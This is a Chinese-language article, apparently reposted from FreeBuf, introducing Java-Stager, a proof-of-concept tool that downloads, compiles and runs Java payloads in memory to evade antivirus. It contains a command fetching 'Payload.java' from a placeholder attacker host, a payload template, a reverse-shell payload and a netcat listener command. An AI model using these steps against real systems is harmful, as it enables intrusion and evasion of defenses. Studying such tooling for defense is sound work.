看我如何利用Java Stager在内存中下载、编译和执行Java文件

栏目: Java · 发布时间: 5年前

内容简介:今天给大家介绍的是一款名叫Java-Stager的工具,在该工具的帮助下,我们可以轻松地在内存中下载、编译和执行Java文件(代码)。注意:需要提醒大家一下,该项目仅供研究及测试使用,请不要将其用于恶意目的。

今天给大家介绍的是一款名叫Java-Stager的工具,在该 工具 的帮助下,我们可以轻松地在内存中下载、编译和执行 Java 文件(代码)。

看我如何利用Java Stager在内存中下载、编译和执行Java文件

注意:需要提醒大家一下,该项目仅供研究及测试使用,请不要将其用于恶意目的。

Java-Stager介绍

本项目基于James Williams的演讲《下一代反病毒引擎vs我的垃圾代码》所开发,感兴趣的同学可以观看他的演讲视频以获取更多的灵感:

视频地址:

看不到?点 这里

演讲内容的关键点:

1.   如何在目标设备中加载一个Stager(需要使用合法代码触及目标磁盘);
2.   Stager通过HTTP下载源码(驻留在内存中);
3.   Stager编译源码(同样在内存中进行);
4.   Stager执行编译代码(同样在内存中进行);

不过他的研究主要基于的是.net,不过我认为这种技术同样能够应用到Java中,所以我就设计了这样一个PoC来验证上述技术的可行性。

如何使用?

1.   克隆整个项目代码;
2.   在能够使用maven的IDE编辑器(例如NetBeans)中打开项目目录;
3.   Stager和样本Payload可以在项目目录的”/src/main/java”中找到;
4.   选择你喜欢的Stager,然后编译项目代码,我在默认配置中选择的是“clean/build”;

Netbeans中的输出结果应该跟下面的代码类似:

Buildingjar:C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar

在目标主机中,你需要上传“JavaStageer*.jar”文件以及包含了Janino(从项目的“target”目录中获取)的“lib”文件夹。下面的命令将会执行stager:

java-jar JavaStager-0.1-initial.jar

下面这条命令可以给你提供相关文件的使用信息:

ProperUsage is: java -jar JavaStager-0.1-initial.jar <url>

其中的“url”是命令唯一需要的参数,该参数将会传递给Stager,下面给出的是一个使用样例:

java-jar JavaStager-0.1-initial.jar http://attackerip/Payload.java

你的Payload必须存储在一个名叫“Payload.java”的文件中,你的漏洞利用代码必须写在名叫“Run”的静态方法内。如果你想自己开发的话,可以参考下面这个模版代码:

publicclass Payload {
   public static void Run() {
      // Your code here
   }
}

我在“TCPReverseShell.java”文件中还提供了一个可供参考的反向TCP Payload,为了防止命名冲突,我就不将其取名为“Payload.java”了,如果你想了解“TCPReverseShell.java”的详细工作机制并进行定制开发的话,可以参考该文件Header中的注释内容。

除此之外,你可能还需要在自己的HTTP服务器上托管你的“Payload.java”文件,如果你只想使用简单的HTTP/HTTPS服务(Python2或 Python 3)的话,我建议你用Apache【 参考资料 】。

除此之外。攻击端还需要启动一个netcat监听器并使用标准nc -lvp 8044技术来捕捉链接回调。

参考资料

Java-Stager工作机制介绍:【 传送门

工具实际操作演示:【 传送门

* 参考来源: java-stager ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM 


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Introduction to Computation and Programming Using Python

Introduction to Computation and Programming Using Python

John V. Guttag / The MIT Press / 2013-7 / USD 25.00

This book introduces students with little or no prior programming experience to the art of computational problem solving using Python and various Python libraries, including PyLab. It provides student......一起来看看 《Introduction to Computation and Programming Using Python》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

MD5 加密
MD5 加密

MD5 加密工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具